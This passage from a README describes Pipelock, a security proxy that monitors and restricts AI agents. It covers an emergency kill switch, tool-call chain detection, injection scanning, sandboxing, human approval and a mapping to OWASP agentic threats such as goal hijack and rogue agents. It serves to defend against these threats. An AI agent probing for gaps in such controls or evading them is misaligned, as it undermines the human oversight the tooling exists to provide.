Emergency kill switch (4 sources)	Yes	No	No	No
Tool call chain detection	Yes	No	No	No
Process sandbox (no Docker)	Yes	No	No	Yes (kernel-level)
Single binary, zero deps	Yes	No (Python)	No (npm)	No (kernel)

Reference matrix: docs/comparison.md

Canonical comparison hub: AI runtime security comparison

OWASP Agentic Top 10 Coverage

Threat	Coverage
ASI01 Agent Goal Hijack	Strong: bidirectional MCP + response scanning
ASI02 Tool Misuse	Partial: proxy as controlled tool, MCP scanning
ASI03 Identity & Privilege Abuse	Strong: capability separation + SSRF protection
ASI04 Supply Chain Vulnerabilities	Partial: integrity monitoring + MCP scanning
ASI05 Unexpected Code Execution	Moderate: HITL approval, fail-closed defaults
ASI06 Memory & Context Poisoning	Moderate: injection detection on fetched content
ASI07 Insecure Inter-Agent Communication	Partial: agent ID, integrity, signing
ASI08 Cascading Failures	Moderate: fail-closed architecture, rate limiting
ASI09 Human-Agent Trust Exploitation	Partial: HITL modes, audit logging
ASI10 Rogue Agents	Strong: domain allowlist + rate limiting + capability separation

Details, config examples, and gap analysis: docs/owasp-mapping.md

Docs

Document	What's In It
Configuration Reference	All config fields, defaults, hot-reload behavior, presets
Request Redaction	JSON request rewriting across HTTP, WebSocket, and MCP transports
False Positive Tuning	Identifying, suppressing, and tuning scanner findings
Scan API	Evaluation endpoint for programmatic scanning
Deployment Recipes	Docker Compose, K8s sidecar, iptables, macOS PF
Bypass Resistance	Known evasion techniques, mitigations, limitations
Known Attacks Blocked	Real attacks with repro snippets
SIEM Integration	Log schema, forwarding patterns, SIEM queries
Metrics Reference	Prometheus metric families, labels, JSON stats, and alert rules
Community Rules	Install, configure, and create signed rule bundles
Security Assurance	Security model, trust boundaries, supply chain
Finding Suppression	Rule names, path matching, inline comments
Transport Modes	All proxy modes and their scanning capabilities
OWASP MCP Top 10	OWASP MCP Top 10 coverage
OWASP Agentic Top 15	OWASP Agentic AI Top 15 coverage
EU AI Act	EU AI Act compliance mapping
NIST 800-53	NIST SP 800-53 Rev. 5 controls mapping
Policy Spec v0.1	Portable agent firewall policy format
Mediation Envelope	Sideband metadata headers, config, interaction with receipts
Media Policy	Stego stripping, SVG hardening, allowed types, size limits
Receipt Verification	verify-receipt CLI, conformance suite, chain integrity
Receipt Transport Coverage	Receipt emission matrix across fetch, forward, CONNECT/TLS, WebSocket, MCP, and A2A paths
Posture Capsule	Signed posture snapshots, `posture verify` CLI, CI gate, scoring model
`pipelock init sidecar`	Generate enforced Kubernetes companion-proxy manifests (strategic-merge, Kustomize, Helm values)
`pipelock session`	Operator CLI for airlock inspection and recovery (list, inspect, explain, release, terminate, recover)
Badges	Drop-in Markdown for the `scanned by pipelock` badge on downstream projects

Project Structure

cmd/pipelock/          CLI entry point
internal/
  cli/                 20+ Cobra commands (run, check, init, generate, mcp, session, posture, rules, ...)
    session/           `pipelock session` operator CLI — airlock inspection and recovery
    setup/             `pipelock init sidecar` — companion-proxy manifest generation (K8s)
  config/              YAML config, validation, defaults, hot-reload (fsnotify)
  scanner/             11-layer URL scanning pipeline + response injection detection
  audit/               Structured JSON logging (zerolog) + event emission dispatch
  proxy/               HTTP proxy: fetch, forward (CONNECT), WebSocket, DNS pinning, TLS
  mcp/                 MCP proxy + bidirectional scanning + tool poisoning + chains
  discover/            IDE/agent config discovery (Claude Code, Cursor, VS Code, JetBrains)
  killswitch/          Emergency deny-all (4 sources) + port-isolated API
  envelope/            Mediation envelope (RFC 8941) for sideband metadata
  media/               Image metadata stripping (JPEG/PNG byte-level surgery)
  normalize/           6-pass text normalization (NFKC + invisible + leetspeak + vowel + stego strip)
  receipt/             Action receipt signing + hash-chained evidence
  posture/             Posture capsule schema, signing, scoring, verify policy
  session/             Session state, taint classification, task boundaries, trust overrides
  rules/               Bundle loader, tier taxonomy, RequiredFeatures enforcement
  sandbox/             Landlock, seccomp, netns, macOS sandbox-exec
  shield/              Airlock, browser shield, SVG hardening
  signing/             Ed25519 key management
  integrity/           SHA256 file integrity monitoring
  report/              HTML/JSON audit report generation
enterprise/            Multi-agent features (ELv2)
sdk/conformance/       Cross-implementation receipt verification test vectors
charts/                Helm chart for Kubernetes deployment
configs/               7 preset config files
docs/                  Guides, references, compliance mappings

Testing

Pipelock is tested like a security product. The open-source core has thousands of unit, integration, and end-to-end tests. A separate private adversarial suite exercises real-world attack classes against the production binary. Every bypass graduates into a regression test before release.

Metric	Value
Go tests (with `-race`)	Thousands across unit, integration, and end-to-end paths
Statement coverage	88%+
Evasion techniques tested	230+
Scanner pipeline overhead	~40us per URL scan
CI matrix	Go 1.25 + 1.26, CodeQL, golangci-lint
Supply chain	SLSA provenance, CycloneDX SBOM, cosign signatures

Run make test to verify locally. Independent benchmark: the public agent-egress-bench corpus. See the live results.

Credits

Architecture influenced by Anthropic's Claude Code sandboxing and sandbox-runtime
Threat model informed by OWASP Agentic AI Top 10
See docs/comparison.md for how Pipelock relates to other tools in this space
Security review contributions from Dylan Corrales

Contributions welcome. See CONTRIBUTING.md for guidelines.

If Pipelock is useful, please star this repository. It helps others find the project.

License

Multi-agent features (per-agent identity, budgets, and configuration isolation) are in the enterprise/ directory, gated by the enterprise build tag and licensed under the Elastic License 2.0 (ELv2). These features activate with a valid license key.

The open-source core works independently without paid features. All scanning, detection, and single-agent protection is free.

Pre-built release artifacts (Homebrew, GitHub releases, Docker images) include paid-tier code that activates with a valid license key. Building from source with go install or the repository Dockerfile produces a Community-only binary.

See LICENSE for the Apache 2.0 text and enterprise/LICENSE for the ELv2 text.